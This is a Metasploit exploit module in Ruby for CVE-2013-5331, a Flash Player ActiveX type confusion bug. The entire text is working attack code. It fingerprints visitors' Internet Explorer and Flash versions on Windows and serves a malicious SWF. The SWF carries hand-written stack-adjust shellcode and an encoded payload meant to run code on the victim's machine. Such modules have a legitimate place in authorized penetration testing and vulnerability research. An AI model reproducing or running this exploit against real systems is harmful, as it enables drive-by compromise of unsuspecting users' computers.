Adobe Flash Player – Type Confusion Remote Code Execution (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => "Adobe Flash Player Type Confusion Remote Code Execution", 'Description' => %q{ This module exploits a type confusion vulnerability found in the ActiveX component of Adobe Flash Player. This vulnerability was found exploited in the wild in November 2013. This module has been tested successfully on IE 6 to IE 10 with Flash 11.7, 11.8 and 11.9 prior to 11.9.900.170 over Windows XP SP3 and Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability discovery and exploit in the wild 'bannedit', # Exploit in the wild discoverer, analysis and reporting 'juan vazquez' # msf module ], 'References' => [ [ 'CVE', '2013-5331' ], [ 'OSVDB', '100774'], [ 'BID', '64199'], [ 'URL', 'http://helpx.adobe.com/security/products/flash-player/apsb13-28.html' ], [ 'URL', 'http://blog.malwaretracker.com/2014/01/cve-2013-5331-evaded-av-by-using.html' ] ], 'Payload' => { 'Space' => 2000, 'DisableNops' => true, 'PrependEncoder' => stack_adjust }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f', 'Retries' => false, 'EXITFUNC' => "thread" }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}", :method => "LoadMovie", :os_name => Msf::OperatingSystems::WINDOWS, :ua_name => Msf::HttpClients::IE, :flash => lambda { |ver| ver =~ /^11\.[7|8|9]/ && ver < '11.9.900.170' } }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Dec 10 2013", 'DefaultTarget' => 0)) end def exploit @swf = create_swf super end def stack_adjust adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset adjust end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status("Sending SWF...") send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'}) return end print_status("Sending HTML...") tag = retrieve_tag(cli, request) profile = get_profile(tag) profile[:tried] = false unless profile.nil? # to allow request the swf print_status("showme the money") send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" flash_payload = "" get_payload(cli,target_info).unpack("V*").each do |i| flash_payload << "0x#{i.to_s(16)}," end flash_payload.gsub!(/,$/, "") html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=flash_payload%>" /> <param name="Play" value="true" /> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-5331", "Exploit.swf" ) swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end |